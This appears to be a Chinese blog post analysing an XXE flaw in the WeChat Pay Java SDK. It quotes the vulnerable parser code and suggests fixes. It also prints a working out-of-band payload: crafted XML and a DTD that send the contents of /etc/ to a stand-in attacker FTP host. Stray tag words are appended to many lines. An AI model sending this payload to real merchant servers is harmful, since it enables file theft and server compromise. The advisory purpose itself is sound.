微信支付sdk被曝xxe漏洞,漏洞原理分析

        昨日在国外安全社区seclists有一个署名叫Rose Jackcode的白帽子公布了微信支付sdk的一个严重的安全漏洞(xxe漏洞)。攻击者能够伪造一个恶意的回调数据请求(xml格式),读取商户服务器上任意文件,甚至能够执行远程系统命令,致使商户服务器被入侵。shell

        目前微信支付安全团队表示已对该SDK进行更新,修复了已知的安全漏洞,并在此提醒商户及时更新。安全

        虽然微信支付官网上的sdk更新了,可是漏洞是存在于商户的网站系统中,须要商户下载最新的sdk对系统进行更新发布(或者看下面的本身修复方案)。所以目前还有大量的微信商户系统存在此漏洞,相关商户须要及时更新。服务器

 

来看看该微信支付sdk漏洞如何形成的:微信

        什么是xxe漏洞,xxe全称为XML External Entity attack,即XML外部实体漏洞。XML定义的外部实体能够载入本地或者远程的内容。dom

        受影响版本: WxPayAPI_JAVA_v3.zip (以前版本的应该也受影响)post

        漏洞版本sdk中的README.md出示的例子:微信支付

String notifyData = "...."; 

MyConfig config = new MyConfig(); 

WXPay wxpay = new WXPay(config); //conver to map 

Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); 

....

 

WXPayUtil里:网站

public static Map<String, String> xmlToMap(String strXML) throws Exception { 

Map<String, String> data = new HashMap<String, String>(); 

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 

// 没有xxe防范

DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 

InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); 

...

}

 

如何模拟利用此漏洞:ui

向商家回调的url中模拟post如下xml数据:url

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/">

<!ENTITY % hxt SYSTEM "http://attack:8080/shell/data.dtd";>

%hxt;

]>

 

http://attack:8080为攻击者本身搭建的服务器,在data.dtd中写上:

 

<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack; '>">

%shell;

%upload;

 

触发XXE攻击后,商家服务器会把/etc/的内容发送到攻击者的ftp://attack:33上。

 

 

不用最新版sdk修复方案:

方案1.

禁用外部实体,在WXPayUtil里

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();

下面加上

documentBuilderFactory.setExpandEntityReferences(false);

 

方案2.

过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

相关文章
相关标签/搜索